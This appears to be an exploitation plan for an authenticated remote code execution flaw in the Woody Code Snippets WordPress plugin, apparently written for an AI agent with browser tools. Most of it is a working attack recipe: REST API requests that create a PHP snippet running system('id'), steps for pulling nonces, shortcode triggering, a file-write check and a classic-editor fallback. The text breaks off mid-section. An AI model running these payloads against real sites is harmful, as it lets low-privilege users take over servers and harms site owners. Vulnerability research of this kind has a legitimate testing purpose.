Exploitation Research Plan: CVE-2026-25366 - Woody Code Snippets RCE

1. Vulnerability Summary

The Woody Code Snippets plugin (version <= 2.7.1) is vulnerable to Authenticated Remote Code Execution (RCE) via the improper control of its custom post type wbcr-snippets. The plugin allows users to create and execute PHP code snippets. While intended for administrators, the custom post type wbcr-snippets (defined in insert_php.php) does not implement strict capability checks, allowing users with the edit_posts capability (Contributor level and above) to create or modify snippets. When these snippets are rendered via shortcode, the PHP code in post_content is executed on the server.

2. Attack Vector Analysis

• Endpoint: WordPress REST API (/wp-json/wp/v2/wbcr-snippets) or the classic post editor (/wp-admin/post-new.php?post_type=wbcr-snippets).
• Required Role: Contributor or higher (any role with edit_posts).
• Payload: PHP code contained within the post_content of a wbcr-snippets post.
• Preconditions: The snippet must be marked as "active" (wbcr_inp_snippet_activate = 1) and have its type set to "php" (wbcr_inp_snippet_type = 'php').

3. Code Flow

1. Creation: A Contributor user creates a post of type wbcr-snippets.
2. Metadata: The plugin uses metadata to determine snippet behavior. If the REST API or the save_post hook does not restrict metadata modification, the attacker sets:
   • wbcr_inp_snippet_type = php
   • wbcr_inp_snippet_activate = 1
   • wbcr_inp_snippet_scope = shortcode
3. Execution:
   • The attacker inserts the shortcode [wbcr_php_snippet id=NEW_ID] into a regular post or page.
   • The WINP_SnippetShortcode::render() method in includes/shortcodes/shortcodes.php is triggered.
   • It calls get_snippet_content() (line 212), which retrieves code via WINP_Helper::get_snippet_code( $snippet ) (which returns post_content).
   • The code is passed to WINP_Plugin::app()->get_execute_object()->prepareCode(), which executes the PHP content.

4. Nonce Acquisition Strategy

To interact with the REST API or perform AJAX actions, a valid WordPress nonce is required.

1. REST API Nonce:
   • Use the browser_navigate tool to log in and access /wp-admin/.
   • Use browser_eval to extract the REST nonce from the global wpApiSettings object:

     window.wpApiSettings?.nonce
     

2. Shortcode/UI Nonces:
   • The plugin does not appear to use a specific nonce for shortcode rendering as it is a standard WordPress feature.
   • If an AJAX save is required, check the page source for winp_ajax or similar localization keys using:

     window.winp_ajax?.nonce
     

5. Exploitation Strategy

Step 1: Create the Snippet via REST API

Submit a request to create a new PHP snippet.

• Method: POST
• URL: /wp-json/wp/v2/wbcr-snippets
• Headers:
  • X-WP-Nonce: [REST_NONCE]
  • Content-Type: application/json
• Body:

{
  "title": "System Check",
  "content": "<?php system('id'); ?>",
  "status": "publish",
  "meta": {
    "wbcr_inp_snippet_type": "php",
    "wbcr_inp_snippet_activate": 1,
    "wbcr_inp_snippet_scope": "shortcode"
  }
}

Step 2: Trigger Execution

Create a standard post or use the preview feature to execute the shortcode.

• Method: POST
• URL: /wp-json/wp/v2/posts
• Body:

{
  "title": "Trigger Page",
  "content": "[wbcr_php_snippet id=[CREATED_ID]]",
  "status": "publish"
}

• Navigation: Access the URL of the created post or its preview: /index.php?p=[POST_ID].

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Plugin: Ensure Woody Code Snippets v2.7.1 is installed and active.
3. Settings: No special settings are required, as the default configuration allows shortcode execution.

7. Expected Results

• The REST API request should return a 201 Created status with the ID of the new snippet.
• Upon visiting the post containing the shortcode, the output of the id command (e.g., uid=33(www-data) ...) should be visible in the HTML response.

8. Verification Steps

1. WP-CLI Verification:
   • Check if the snippet exists: wp post list --post_type=wbcr-snippets.
   • Verify metadata: wp post meta list [ID].
2. Execution Check:
   • Confirm RCE by attempting to write a file: <?php file_put_contents('pwn.txt', 'exploited'); ?>.
   • Check for the file via CLI: ls /var/www/html/pwn.txt.

9. Alternative Approaches

Alternative: Classic Editor Submission

If the REST API does not allow metadata updates for the CPT, use the classic editor's save hook:

• Method: POST
• URL: /wp-admin/post.php
• Parameters:
  • action: editpost
  • post_ID: [CREATED_ID]
  • content: <?php system('id'); ?>
  • wbcr_inp_snippet_type: php
  • wbcr_inp_snippet_activate: 1
  • wbcr_inp_snippet_scope: shortcode
  • _wpnonce: Obtain from wp_nonce_field in the post editor page.

Alternative: Universal Snippet

If the PHP-specific shortcode is restricted, try the universal shortcode: